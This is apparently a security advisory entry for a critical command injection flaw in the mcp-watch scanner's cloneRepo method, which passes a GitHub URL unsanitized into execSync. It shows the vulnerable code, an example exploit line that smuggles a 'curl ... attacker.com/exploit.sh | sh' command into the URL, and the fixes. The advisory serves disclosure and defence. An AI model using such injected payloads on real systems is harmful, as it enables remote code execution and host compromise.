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The vulnerability exists in the `cloneRepo` method of the MCPScanner class within an MCP scanning tool. The method takes a user-supplied `githubUrl` parameter and passes it directly into the `child_process.execSync()` function without any sanitization. The `execSync` function spawns a system shell (/bin/sh on Unix, `cmd.exe` on Windows) to execute the `git clone` command. Because the URL string is constructed within the shell command without proper escaping, an attacker can inject shell metacharacters (like ;, &, |, backticks, or $()) into the URL argument. When the command is executed, the shell interprets these metacharacters as command separators or substitution operators, allowing the attacker to append and execute arbitrary system commands with the privileges of the application process. This leads to full Remote Code Execution (RCE) on the host running the scanner.
Platform: mcp-watch
Version: < patched
Vulnerability: Command Injection
Severity: Critical
date: Undisclosed
Prediction: 2024-11-01
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find . -name ".ts" -type f -exec grep -l "execSync.git clone" {} \;
// Vulnerable code from src/scanner/McpScanner.ts
const command = <code>git clone ${url} ${targetDir}</code>;
const result = execSync(command, { stdio: 'pipe' });
How Exploit:
npm run scan:github "https://github.com/owner/repo; curl http://attacker.com/exploit.sh | sh"
Protection from this CVE
Use `execFile` or `spawn`.
Validate and sanitize input.
Apply shell escaping.
Impact:
Remote Code Execution
Host Compromise
Data Exfiltration
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Sources:
Reported By: github.com
Extra Source Hub:
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